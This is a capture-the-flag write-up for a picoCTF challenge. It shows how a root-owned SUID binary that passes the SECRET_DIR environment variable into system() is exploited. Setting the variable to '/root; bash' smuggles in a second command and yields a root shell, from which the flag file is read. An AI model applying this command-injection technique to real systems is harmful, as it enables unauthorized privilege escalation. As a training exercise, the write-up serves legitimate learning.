VNE

July 12, 20252 minutes
For this challenge, picoCTF provides SSH credentials.
In /home/ctf-player there is a root-owned binary with SUID permissions that everyone can execute, which means anyone can run it as root
ctf-player@pico-chall$ ls -la
total 24
drwxr-xr-x 1 ctf-player ctf-player 20 Jul 6 10:55 .
drwxr-xr-x 1 root root 24 Aug 4 2023 ..
drwx------ 2 ctf-player ctf-player 34 Jul 6 10:55 .cache
-rw-r--r-- 1 root root 67 Aug 4 2023 .profile
-rwsr-xr-x 1 root root 18752 Aug 4 2023 bin
When we run it, we get this error
ctf-player@pico-chall$ ./bin
Error: SECRET_DIR environment variable is not set
We have to set the SECRET_DIR environment variable to the directory we want to list
ctf-player@pico-chall$ export SECRET_DIR=/root
ctf-player@pico-chall$ ./bin
Listing the content of /root as root:
flag.txt
ctf-player@pico-chall$
How does it list the contents of the directory? The program printed flag.txt, but the root folder surely contains more files, like .bashrc, .profile, etc… The C functions for listing a folder’s contents show everything, including hidden files, unless told otherwise
With strings we can confirm that the program calls the system function at some point
ctf-player@pico-chall$ strings bin | grep system
system
Error: system() call returned non-zero value:
system@@GLIBC_2.2.5
So the binary might be doing a system(’ls /root’), which is why it wasn’t showing the hidden files…
Since the content of the environment variable is placed directly into a command, we can try a command injection
ctf-player@pico-chall$ export SECRET_DIR='/root; bash'
ctf-player@pico-chall$ ./bin
Listing the content of /root; bash as root:
flag.txt
root@challenge:~# cat /root/flag.txt
picoCTF{Power_t........74}